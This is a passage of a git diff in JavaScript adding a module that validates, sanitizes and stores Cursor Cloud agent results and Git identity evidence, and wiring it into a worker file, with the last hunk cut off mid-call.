undefined, + error: hasOwn(report, 'error') ? ownDataValue(report, 'error', 'provider_report.error') : null, + source_truncated: parseBooleanFlag(report, 'source_truncated', 'provider_report.source_truncated'), + }); +} + +function parseGitEvidence(input) { + if (!hasOwn(input, 'git_evidence') || input.git_evidence == null) return null; + const git = ownDataValue(input, 'git_evidence', 'git_evidence'); + closedObject(git, CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS, 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + const projected = {}; + if (hasOwn(git, 'repository_identity')) { + projected.repository_identity = assertRepoIdentity( + ownDataValue(git, 'repository_identity', 'git_evidence.repository_identity'), + 'git_evidence.repository_identity', + ); + } + if (hasOwn(git, 'repository_url')) { + projected.repository_url = assertRepoUrl( + ownDataValue(git, 'repository_url', 'git_evidence.repository_url'), + 'git_evidence.repository_url', + ); + } + if (hasOwn(git, 'branch')) { + projected.branch = assertBranch( + ownDataValue(git, 'branch', 'git_evidence.branch'), + 'git_evidence.branch', + ); + } + if (hasOwn(git, 'head_sha')) { + projected.head_sha = assertCommit( + ownDataValue(git, 'head_sha', 'git_evidence.head_sha'), + 'git_evidence.head_sha', + ); + } + if (hasOwn(git, 'merge_base_sha')) { + projected.merge_base_sha = assertCommit( + ownDataValue(git, 'merge_base_sha', 'git_evidence.merge_base_sha'), + 'git_evidence.merge_base_sha', + ); + } + if (hasOwn(git, 'starting_sha')) { + projected.starting_sha = assertCommit( + ownDataValue(git, 'starting_sha', 'git_evidence.starting_sha'), + 'git_evidence.starting_sha', + ); + } + if (hasOwn(git, 'linear_history')) { + const linear = ownDataValue(git, 'linear_history', 'git_evidence.linear_history'); + if (linear !== true && linear !== false) { + failSource('invalid_type', 'git_evidence.linear_history', + 'git_evidence.linear_history must be an exact boolean when present.'); + } + projected.linear_history = linear; + } + if (hasOwn(git, 'pr_url')) { + projected.pr_url = assertPrUrl( + ownDataValue(git, 'pr_url', 'git_evidence.pr_url'), + 'git_evidence.pr_url', + ); + } + projected.source_truncated = parseBooleanFlag(git, 'source_truncated', 'git_evidence.source_truncated'); + return freezeData(projected); +} + +function parseIdentity(input) { + if (!hasOwn(input, 'run_id')) { + failSource('missing_key', 'options.run_id', + 'options.run_id is required; the result source binds one exact run identity.'); + } + if (!hasOwn(input, 'assignment_id')) { + failSource('missing_key', 'options.assignment_id', + 'options.assignment_id is required; the result source binds one exact child identity.'); + } + if (!hasOwn(input, 'provider')) { + failSource('missing_key', 'options.provider', + 'options.provider is required; the result source binds cursor-cloud only.'); + } + if (!hasOwn(input, 'model')) { + failSource('missing_key', 'options.model', + 'options.model is required; the result source binds one exact model identity.'); + } + + const runId = ownDataValue(input, 'run_id', 'options.run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = ownDataValue(input, 'assignment_id', 'options.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSource('invalid_format', 'options.assignment_id', + 'options.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.'); + } + const provider = ownDataValue(input, 'provider', 'options.provider'); + if (typeof provider !== 'string' || !isKnownProvider(provider)) { + failSource('unknown_provider', 'options.provider', + 'options.provider must be a known provider.'); + } + if (provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) { + failSource('cursor_cloud_provider_required', 'options.provider', + 'The Cursor Cloud result source accepts only cursor-cloud.'); + } + const model = ownDataValue(input, 'model', 'options.model'); + if (!isModelId(model)) { + failSource('invalid_format', 'options.model', + 'options.model must be an exact model identifier.'); + } + + let childEnvelopeDigest = null; + if (hasOwn(input, 'child_envelope_digest')) { + const digest = ownDataValue(input, 'child_envelope_digest', 'options.child_envelope_digest'); + if (typeof digest !== 'string' + || digest.length !== DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, digest)) { + failSource('invalid_format', 'options.child_envelope_digest', + 'options.child_envelope_digest must be an exact lowercase SHA-256 hex digest when present.'); + } + childEnvelopeDigest = digest; + } + + return freezeData({ + run_id: runId, + assignment_id: assignmentId, + provider, + model, + child_envelope_digest: childEnvelopeDigest, + request_id: assertOptionalToken(input, 'request_id', 'options.request_id', 'request'), + agent_id: assertOptionalToken(input, 'agent_id', 'options.agent_id', 'agent'), + provider_run_id: assertOptionalToken(input, 'provider_run_id', 'options.provider_run_id', 'provider run'), + repository_identity: hasOwn(input, 'repository_identity') + ? assertRepoIdentity( + ownDataValue(input, 'repository_identity', 'options.repository_identity'), + 'options.repository_identity', + ) + : null, + repository_url: hasOwn(input, 'repository_url') + ? assertRepoUrl(ownDataValue(input, 'repository_url', 'options.repository_url'), 'options.repository_url') + : null, + branch: hasOwn(input, 'branch') + ? assertBranch(ownDataValue(input, 'branch', 'options.branch'), 'options.branch') + : null, + starting_sha: hasOwn(input, 'starting_sha') + ? assertCommit(ownDataValue(input, 'starting_sha', 'options.starting_sha'), 'options.starting_sha') + : null, + head_sha: hasOwn(input, 'head_sha') + ? assertCommit(ownDataValue(input, 'head_sha', 'options.head_sha'), 'options.head_sha') + : null, + }); +} + +export function isCursorCloudResultIdentityMismatchV1(error) { + return error instanceof RunContractV1Error + && capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES, error.code); +} + +export function assertCursorCloudResultCorrelationV1(input) { + assertPlainObject(input, 'invalid_type', 'correlation', 'The Cursor Cloud result correlation'); + const recorded = hasOwn(input, 'recorded') + ? ownDataValue(input, 'recorded', 'recorded') + : input; + const observed = hasOwn(input, 'observed') + ? parseObserved({ observed: ownDataValue(input, 'observed', 'observed') }) + : freezeData({}); + const git = hasOwn(input, 'git_evidence') + ? parseGitEvidence({ git_evidence: ownDataValue(input, 'git_evidence', 'git_evidence') }) + : null; + + if (typeof recorded.run_id === 'string' && observed.run_id !== undefined) { + assertRunId(recorded.run_id, 'recorded.run_id'); + assertExactIdentity(recorded.run_id, observed.run_id, 'run_identity_mismatch', 'observed.run_id', 'run'); + } + if (typeof recorded.assignment_id === 'string' && observed.assignment_id !== undefined) { + if (!isAssignmentId(recorded.assignment_id)) { + failSource('invalid_format', 'recorded.assignment_id', + 'recorded.assignment_id violates the assignment-id grammar.'); + } + assertExactIdentity( + recorded.assignment_id, observed.assignment_id, 'assignment_identity_mismatch', + 'observed.assignment_id', 'assignment', + ); + } + if (typeof recorded.request_id === 'string' && observed.request_id !== undefined) { + const requestId = assertTokenId(recorded.request_id, 'recorded.request_id', 'request'); + assertExactIdentity( + requestId, observed.request_id, 'request_identity_mismatch', + 'observed.request_id', 'request', + ); + } + if (typeof recorded.provider_run_id === 'string' && observed.provider_run_id !== undefined) { + const providerRunId = assertTokenId( + recorded.provider_run_id, 'recorded.provider_run_id', 'provider run', + ); + assertExactIdentity( + providerRunId, observed.provider_run_id, 'provider_run_identity_mismatch', + 'observed.provider_run_id', 'provider run', + ); + } + if (typeof recorded.agent_id === 'string' && observed.agent_id !== undefined) { + const agentId = assertTokenId(recorded.agent_id, 'recorded.agent_id', 'agent'); + assertExactIdentity( + agentId, observed.agent_id, 'agent_identity_mismatch', + 'observed.agent_id', 'agent', + ); + } + if (git !== null) { + if (typeof recorded.branch === 'string' && git.branch !== undefined) { + const branch = assertBranch(recorded.branch, 'recorded.branch'); + assertExactIdentity(branch, git.branch, 'branch_identity_mismatch', 'git_evidence.branch', 'branch'); + } + if (typeof recorded.repository_identity === 'string' && git.repository_identity !== undefined) { + const repo = assertRepoIdentity(recorded.repository_identity, 'recorded.repository_identity'); + assertExactIdentity( + repo, git.repository_identity, 'repository_identity_mismatch', + 'git_evidence.repository_identity', 'repository', + ); + } + if (typeof recorded.repository_url === 'string' && git.repository_url !== undefined) { + const url = assertRepoUrl(recorded.repository_url, 'recorded.repository_url'); + assertExactIdentity( + url, git.repository_url, 'repository_identity_mismatch', + 'git_evidence.repository_url', 'repository', + ); + } + if (typeof recorded.starting_sha === 'string') { + const starting = assertCommit(recorded.starting_sha, 'recorded.starting_sha'); + if (git.starting_sha !== undefined) { + assertExactIdentity( + starting, git.starting_sha, 'base_identity_mismatch', + 'git_evidence.starting_sha', 'starting SHA', + ); + } + if (git.merge_base_sha !== undefined + && !exactBytesEqual(git.merge_base_sha, starting) + && (git.head_sha === undefined || !exactBytesEqual(git.merge_base_sha, git.head_sha))) { + failSource('base_identity_mismatch', 'git_evidence.merge_base_sha', + 'Cursor Cloud merge-base identity did not match the recorded starting SHA or observed head.'); + } + } + if (typeof recorded.head_sha === 'string' && git.head_sha !== undefined) { + const head = assertCommit(recorded.head_sha, 'recorded.head_sha'); + assertExactIdentity(head, git.head_sha, 'head_identity_mismatch', 'git_evidence.head_sha', 'head'); + } + } + return freezeData({ recorded: true, observed, git_evidence: git }); +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The Cursor Cloud result source options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, keys[index])) { + failSource('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed result-source vocabulary.`); + } + } + const identity = parseIdentity(input); + const observed = parseObserved(input); + const providerReport = parseProviderReport(input); + const gitEvidence = parseGitEvidence(input); + assertCursorCloudResultCorrelationV1({ + recorded: identity, + observed, + git_evidence: gitEvidence, + }); + return { identity, observed, providerReport, gitEvidence }; +} + +function utf8BoundaryStart(bytes, fromOffset) { + if (fromOffset === 0) return 0; + let start = 0; + while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start += 1; + return start; +} + +async function readInlineTail(store, provenance) { + const length = provenance.sanitized_byte_length; + const maxBytes = CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES; + const offset = length > maxBytes ? length - maxBytes : 0; + const page = await readSanitizedArtifactV1(store, provenance.sanitized_ref, { + offset, + max_bytes: maxBytes, + }); + const selected = BUFFER_FROM(page.selected_content, 'base64'); + if (selected.byteLength !== page.selected_byte_length) { + failSource('invalid_format', 'inline_tail', + 'The sanitized reader returned a tail whose encoding did not round-trip.'); + } + const start = utf8BoundaryStart(selected, offset); + const aligned = start === 0 ? selected : selected.subarray(start); + const text = aligned.toString('utf8'); + const tailBytes = BUFFER_FROM(text, 'utf8'); + if (tailBytes.byteLength > maxBytes) { + failSource('invalid_format', 'inline_tail', + 'The inline tail exceeded the 4096-byte UTF-8 cap after boundary alignment.'); + } + return freezeData({ + encoding: 'utf8', + text, + byte_length: tailBytes.byteLength, + offset: offset + start, + max_bytes: maxBytes, + inline_clipped: (offset + start) > 0 || tailBytes.byteLength < length, + source_truncated: provenance.source_truncated === true, + complete: provenance.complete === true, + reader_clipped: page.reader_clipped === true, + more: page.more === true, + next_offset: page.next_offset, + }); +} + +async function publishSource(store, identity, artifactKind, relativePath, mediaType, bytes, sourceTruncated) { + if (bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', 'source', + `The Cursor Cloud result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + return null; + } + const rawRef = parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + artifact_kind: artifactKind, + artifact_class: 'raw', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: mediaType, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'artifact_ref'); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRef, + source: bytes, + source_truncated: sourceTruncated, + }); + if (provenance.schema !== ARTIFACT_SANITIZER_SCHEMA_ID) { + failSource('artifact_sink_not_verified', 'provenance', + 'The sanitizer returned provenance the result source does not recognize; nothing is reported.'); + } + const rawVerdict = await verifyStoredArtifactV1(store, provenance.raw_ref); + const sanitizedVerdict = await verifyStoredArtifactV1(store, provenance.sanitized_ref); + if (rawVerdict.verified !== true || sanitizedVerdict.verified !== true) { + failSource('artifact_sink_not_verified', 'artifact_ref', + 'Published Cursor Cloud result artifacts did not verify; nothing is reported.'); + } + const inlineTail = await readInlineTail(store, provenance); + return { provenance, inlineTail, relativePath, mediaType }; +} + +function emptySlot(sourceKind, artifactKind, extra = {}) { + return freezeData({ + source_kind: sourceKind, + artifact_kind: artifactKind, + published: false, + empty: true, + relative_path: null, + media_type: null, + raw_ref: null, + sanitized_ref: null, + raw_digest: null, + sanitized_digest: null, + ref_digest_raw: null, + ref_digest_sanitized: null, + source_byte_length: 0, + sanitized_byte_length: 0, + redaction_counts: null, + sanitizer_version: null, + policy_id: null, + complete: extra.source_truncated !== true, + source_truncated: extra.source_truncated === true, + inline_clipped: false, + storage_limited: false, + provenance: null, + inline_tail: null, + status: extra.status ?? null, + repository_identity: extra.repository_identity ?? null, + repository_url: extra.repository_url ?? null, + branch: extra.branch ?? null, + head_sha: extra.head_sha ?? null, + merge_base_sha: extra.merge_base_sha ?? null, + starting_sha: extra.starting_sha ?? null, + linear_history: extra.linear_history ?? null, + pr_url: extra.pr_url ?? null, + }); +} + +function publishedSlot(sourceKind, artifactKind, published, extra = {}) { + const provenance = published.provenance; + const rawRef = provenance.raw_ref; + const sanitizedRef = provenance.sanitized_ref; + return freezeData({ + source_kind: sourceKind, + artifact_kind: artifactKind, + published: true, + empty: false, + relative_path: published.relativePath, + media_type: published.mediaType, + raw_ref: rawRef, + sanitized_ref: sanitizedRef, + raw_digest: provenance.source_digest, + sanitized_digest: provenance.sanitized_digest, + ref_digest_raw: artifactRefDigestV1(rawRef, 'raw_ref').digest, + ref_digest_sanitized: artifactRefDigestV1(sanitizedRef, 'sanitized_ref').digest, + source_byte_length: provenance.source_byte_length, + sanitized_byte_length: provenance.sanitized_byte_length, + redaction_counts: provenance.redaction_counts, + sanitizer_version: provenance.sanitizer_version, + policy_id: provenance.policy_id, + complete: provenance.complete === true, + source_truncated: provenance.source_truncated === true, + inline_clipped: published.inlineTail.inline_clipped === true, + storage_limited: false, + provenance, + inline_tail: published.inlineTail, + status: extra.status ?? null, + repository_identity: extra.repository_identity ?? null, + repository_url: extra.repository_url ?? null, + branch: extra.branch ?? null, + head_sha: extra.head_sha ?? null, + merge_base_sha: extra.merge_base_sha ?? null, + starting_sha: extra.starting_sha ?? null, + linear_history: extra.linear_history ?? null, + pr_url: extra.pr_url ?? null, + }); +} + +function gitTypedFields(git) { + if (git == null) { + return { + repository_identity: null, + repository_url: null, + branch: null, + head_sha: null, + merge_base_sha: null, + starting_sha: null, + linear_history: null, + pr_url: null, + source_truncated: false, + }; + } + return { + repository_identity: git.repository_identity ?? null, + repository_url: git.repository_url ?? null, + branch: git.branch ?? null, + head_sha: git.head_sha ?? null, + merge_base_sha: git.merge_base_sha ?? null, + starting_sha: git.starting_sha ?? null, + linear_history: git.linear_history ?? null, + pr_url: git.pr_url ?? null, + source_truncated: git.source_truncated === true, + }; +} + +function gitStoreRecord(git) { + const record = {}; + const keys = [ + 'repository_identity', 'repository_url', 'branch', 'head_sha', + 'merge_base_sha', 'starting_sha', 'linear_history', 'pr_url', + ]; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (git[key] !== undefined && git[key] !== null) record[key] = git[key]; + } + return freezeData(record); +} + +function optionalCredentialFreeUrl(value, pattern) { + return typeof value === 'string' && capturedTest(pattern, value) ? value : null; +} + +function mapSdkBranchRecord(entry, field) { + assertPlainObject(entry, 'malformed_result', field, field); + closedObject(entry, CURSOR_CLOUD_SDK_BRANCH_KEYS, field, + 'Independently observed Cursor Cloud SDK branch evidence'); + const projected = {}; + if (hasOwn(entry, 'repoUrl')) { + const url = optionalCredentialFreeUrl( + ownDataValue(entry, 'repoUrl', `${field}.repoUrl`), REPO_URL_PATTERN, + ); + if (url !== null) projected.repository_url = url; + } + if (hasOwn(entry, 'branch')) { + const branch = ownDataValue(entry, 'branch', `${field}.branch`); + if (typeof branch === 'string' && capturedTest(BRANCH_PATTERN, branch)) { + projected.branch = branch; + } + } + if (hasOwn(entry, 'prUrl')) { + const url = optionalCredentialFreeUrl( + ownDataValue(entry, 'prUrl', `${field}.prUrl`), PR_URL_PATTERN, + ); + if (url !== null) projected.pr_url = url; + } + return projected; +} + +export function projectCursorCloudGitEvidenceV1(git) { + if (git === null || git === undefined) return null; + if (typeof git === 'string' || typeof git === 'number' || typeof git === 'boolean') { + failSource('source_confusion_denied', 'git_evidence', + 'Trusted Git evidence cannot be synthesized from provider text.'); + } + assertPlainObject(git, 'malformed_result', 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + closedObject(git, CURSOR_CLOUD_GIT_PROJECTOR_KEYS, 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + const projected = {}; + if (hasOwn(git, 'branches')) { + const branches = ownDataValue(git, 'branches', 'git_evidence.branches'); + if (!capturedIsArray(branches)) { + failSource('malformed_result', 'git_evidence.branches', + 'Independently observed Git branches must be a dense array.'); + } + if (branches.length > 0) { + Object.assign(projected, mapSdkBranchRecord(branches[0], 'git_evidence.branches[0]')); + } + } + const typedInput = {}; + for (let index = 0; index < CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS[index]; + if (hasOwn(git, key)) typedInput[key] = ownDataValue(git, key, `git_evidence.${key}`); + } + if (sortedCapturedKeys(typedInput).length > 0) { + const typed = parseGitEvidence({ git_evidence: typedInput }); + if (typed !== null) { + for (let index = 0; index < CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS[index]; + if (typed[key] !== undefined && typed[key] !== null && key !== 'source_truncated') { + projected[key] = typed[key]; + } + } + if (typed.source_truncated === true) projected.source_truncated = true; + } + } + if (sortedCapturedKeys(projected).length === 0) return null; + return freezeData(projected); +} + +export function projectCursorCloudProviderReportV1(result) { + if (result === null || result === undefined) { + return freezeData({ status: null, output: undefined, error: null, source_truncated: false }); + } + if (typeof result !== 'object' || Array.isArray(result)) { + failSource('malformed_result', 'provider_report', + 'A Cursor Cloud provider report must be a plain result object.'); + } + if (IS_PROXY(result)) { + failSource('proxy_denied', 'provider_report', + 'The Cursor Cloud provider report is a live or revoked Proxy.'); + } + const projected = { + status: hasOwn(result, 'status') ? result.status : null, + output: hasOwn(result, 'result') ? result.result : (hasOwn(result, 'output') ? result.output : undefined), + error: hasOwn(result, 'error') ? result.error : null, + source_truncated: false, + }; + if (hasOwn(result, 'truncated')) { + const flagged = result.truncated; + if (flagged !== true && flagged !== false) { + failSource('invalid_type', 'provider_report.source_truncated', + 'Provider truncation must be an exact boolean when present.'); + } + projected.source_truncated = flagged === true; + } + if (hasOwn(result, 'source_truncated')) { + const flagged = result.source_truncated; + if (flagged !== true && flagged !== false) { + failSource('invalid_type', 'provider_report.source_truncated', + 'Provider truncation must be an exact boolean when present.'); + } + projected.source_truncated = flagged === true; + } + if (projected.status !== null && !capturedIncludes(CURSOR_CLOUD_PROVIDER_REPORT_STATUSES, projected.status)) { + failSource('invalid_format', 'provider_report.status', + 'provider_report.status must be a closed provider-reported status.'); + } + return freezeData(projected); +} + +export function projectCursorCloudResultSourcesV1(result) { + if (result === null || result === undefined || typeof result !== 'object' || Array.isArray(result)) { + failSource('malformed_result', 'result', + 'A Cursor Cloud result must be a plain object with distinct provider and Git sources.'); + } + if (IS_PROXY(result)) { + failSource('proxy_denied', 'result', 'The Cursor Cloud result is a live or revoked Proxy.'); + } + const observed = {}; + if (hasOwn(result, 'id') && result.id !== undefined) { + observed.provider_run_id = assertTokenId(result.id, 'observed.provider_run_id', 'provider run'); + } + if (hasOwn(result, 'requestId') && result.requestId !== undefined) { + observed.request_id = assertTokenId(result.requestId, 'observed.request_id', 'request'); + } + if (hasOwn(result, 'agentId') && result.agentId !== undefined) { + observed.agent_id = assertTokenId(result.agentId, 'observed.agent_id', 'agent'); + } + return freezeData({ + observed: freezeData(observed), + provider_report: projectCursorCloudProviderReportV1(result), + git_evidence: projectCursorCloudGitEvidenceV1(hasOwn(result, 'git') ? result.git : null), + }); +} + +export function contentFreeCloudResultSourceFailureV1(error) { + const fromContract = error instanceof RunContractV1Error; + const rawCode = fromContract && typeof error.code === 'string' + ? error.code + : 'artifact_sink_failed'; + const rawPath = fromContract && typeof error.path === 'string' + ? error.path + : 'source'; + const code = capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST, rawCode) + ? rawCode + : 'artifact_sink_failed'; + const field = capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST, rawPath) + ? rawPath + : 'source'; + return freezeData({ + schema: CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + version: CURSOR_CLOUD_RESULT_SOURCE_VERSION, + published: false, + error: freezeData({ + code, + path: field, + message: CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE, + }), + }); +} + +export function cursorCloudResultSourceIdentityFromTaskV1(task) { + if (task === null || typeof task !== 'object' || Array.isArray(task)) return null; + if (IS_PROXY(task)) return null; + if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { + return null; + } + if (!hasOwn(task, 'model') || task.model === null || task.model === undefined) return null; + if (task.provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) return null; + const identity = { + run_id: task.run_id, + assignment_id: task.assignment_id, + provider: task.provider, + model: task.model, + }; + if (hasOwn(task, 'child_envelope_digest')) identity.child_envelope_digest = task.child_envelope_digest; + if (hasOwn(task, 'run_idempotency_key')) identity.request_id = task.run_idempotency_key; + if (hasOwn(task, 'provider_agent_id')) identity.agent_id = task.provider_agent_id; + if (hasOwn(task, 'provider_run_id')) identity.provider_run_id = task.provider_run_id; + if (hasOwn(task, 'provider_repo_url')) identity.repository_url = task.provider_repo_url; + if (hasOwn(task, 'provider_repo_identity')) identity.repository_identity = task.provider_repo_identity; + if (hasOwn(task, 'provider_branch')) identity.branch = task.provider_branch; + if (hasOwn(task, 'starting_ref')) identity.starting_sha = task.starting_ref; + if (hasOwn(task, 'head_sha')) identity.head_sha = task.head_sha; + return freezeData(identity); +} + +export async function openCursorCloudResultArtifactStoreV1(stateRoot) { + if (typeof stateRoot !== 'string' || stateRoot.length === 0) { + failSource('invalid_type', 'root', + 'The artifact store state root must be an absolute path string.'); + } + if (!PATH_IS_ABSOLUTE(stateRoot)) { + failSource('invalid_format', 'root', + 'The artifact store state root must be an absolute path string.'); + } + const artifactsRoot = PATH_JOIN(PATH_RESOLVE(stateRoot), CURSOR_CLOUD_RESULT_STORE_DIR); + try { + await MKDIR(artifactsRoot, { recursive: true, mode: 0o700 }); + await CHMOD(artifactsRoot, 0o700); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('artifact_sink_failed', 'root', + 'The Cursor Cloud result artifact store root could not be prepared.'); + } + return openArtifactStoreV1({ root: artifactsRoot }); +} + +export async function materializeCursorCloudResultSourceV1(store, input) { + const { identity, observed, providerReport, gitEvidence } = parseOptions(input); + + const providerBytes = await normalizeOutput( + providerReport.output === undefined && providerReport.error == null + ? providerReport.status + : freezeData({ + status: providerReport.status, + output: providerReport.output ?? null, + error: providerReport.error, + }), + 'provider_report', + ); + if (providerBytes.bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', 'provider_report', + `The Cursor Cloud provider report exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + const providerPath = cursorCloudProviderReportPathV1(identity, providerBytes.mediaType); + const publishedProvider = await publishSource( + store, identity, CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, + providerPath, providerBytes.mediaType, providerBytes.bytes, + providerReport.source_truncated === true, + ); + const providerSlot = publishedProvider == null + ? emptySlot('provider_report', CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, { + status: providerReport.status, + source_truncated: providerReport.source_truncated === true, + }) + : publishedSlot('provider_report', CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, publishedProvider, { + status: providerReport.status, + }); + + const gitFields = gitTypedFields(gitEvidence); + let gitSlot = emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields); + if (gitEvidence !== null) { + const record = gitStoreRecord(gitEvidence); + const gitBytes = encodeJsonValue(record, 'git_evidence'); + const gitPath = cursorCloudGitEvidencePathV1(identity); + const publishedGit = await publishSource( + store, identity, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, + gitPath, 'application/json', gitBytes, + gitEvidence.source_truncated === true, + ); + gitSlot = publishedGit == null + ? emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields) + : publishedSlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, publishedGit, gitFields); + } + + return freezeData({ + schema: CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + version: CURSOR_CLOUD_RESULT_SOURCE_VERSION, + published: providerSlot.published === true || gitSlot.published === true, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + request_id: observed.request_id ?? identity.request_id, + agent_id: observed.agent_id ?? identity.agent_id, + provider_run_id: observed.provider_run_id ?? identity.provider_run_id, + provider_report: providerSlot, + git_evidence: gitSlot, + }); +} + +capturedFreeze(materializeCursorCloudResultSourceV1); +capturedFreeze(openCursorCloudResultArtifactStoreV1); +capturedFreeze(projectCursorCloudResultSourcesV1); +capturedFreeze(projectCursorCloudProviderReportV1); +capturedFreeze(projectCursorCloudGitEvidenceV1); +capturedFreeze(assertCursorCloudResultCorrelationV1); +capturedFreeze(contentFreeCloudResultSourceFailureV1); +capturedFreeze(cursorCloudResultSourceIdentityFromTaskV1); +capturedFreeze(cursorCloudProviderReportPathV1); +capturedFreeze(cursorCloudGitEvidencePathV1); +capturedFreeze(isCursorCloudResultIdentityMismatchV1); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST); +capturedFreeze(CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS); +capturedFreeze(CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs index f3dfb0d..fd9b900 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs @@ -9,6 +9,15 @@ import { promisify } from 'node:util'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; import { boundedProviderResult, boundedProviderValue } from './provider-result.mjs'; +import { + assertCursorCloudResultCorrelationV1, + contentFreeCloudResultSourceFailureV1, + cursorCloudResultSourceIdentityFromTaskV1, + isCursorCloudResultIdentityMismatchV1, + materializeCursorCloudResultSourceV1, + openCursorCloudResultArtifactStoreV1, + projectCursorCloudResultSourcesV1, +} from './cursor-cloud-result-source.mjs'; process.umask(0o077); @@ -750,10 +759,72 @@ async function archiveAgent(client, agentId, key) { return true; } +async function attachCursorCloudResultSource(root, task, sources) { + const identity = cursorCloudResultSourceIdentityFromTaskV1(task); + if (identity == null) return task; + try { + const store = await openCursorCloudResultArtifactStoreV1(root); + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identity, + observed: sources.observed, + provider_report: sources.provider_report, + git_evidence: sources.git_evidence, + }); + return await updateTask(root, task.id, { cursor_cloud_result_source: receipt }); + } catch (error) { + if (isCursorCloudResultIdentityMismatchV1(error)) { + fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a mismatched run, branch, or request identity at completion.'); + } + const evidence = contentFreeCloudResultSourceFailureV1(error); + try { + return await updateTask(root, task.id, { cursor_cloud_result_source: evidence }); + } catch { + return task; + } + } +} + +function assertTerminalResultSources(task, run, agentId, result) { + let sources; + try { + sources = projectCursorCloudResultSourcesV1(result); + const identity = cursorCloudResultSourceIdentityFromTaskV1(task); + const recorded = { + provider_run_id: run.id, + request_id: task.run_idempotency_key, + agent_id: agentId, + }; + // 3.2.1 receipts may carry untrusted SDK git.branches for redaction. Trusted + // Git/branch/base correlation is only applied when exact R1 identity exists. + if (identity != null) { + recorded.run_id = identity.run_id; + recorded.assignment_id = identity.assignment_id; + recorded.repository_url = identity.repository_url; + recorded.repository_identity = identity.repository_identity; + recorded.starting_sha = identity.starting_sha; + recorded.branch = identity.branch; + recorded.head_sha = identity.head_sha; + } + assertCursorCloudResultCorrelationV1({ + recorded, + observed: 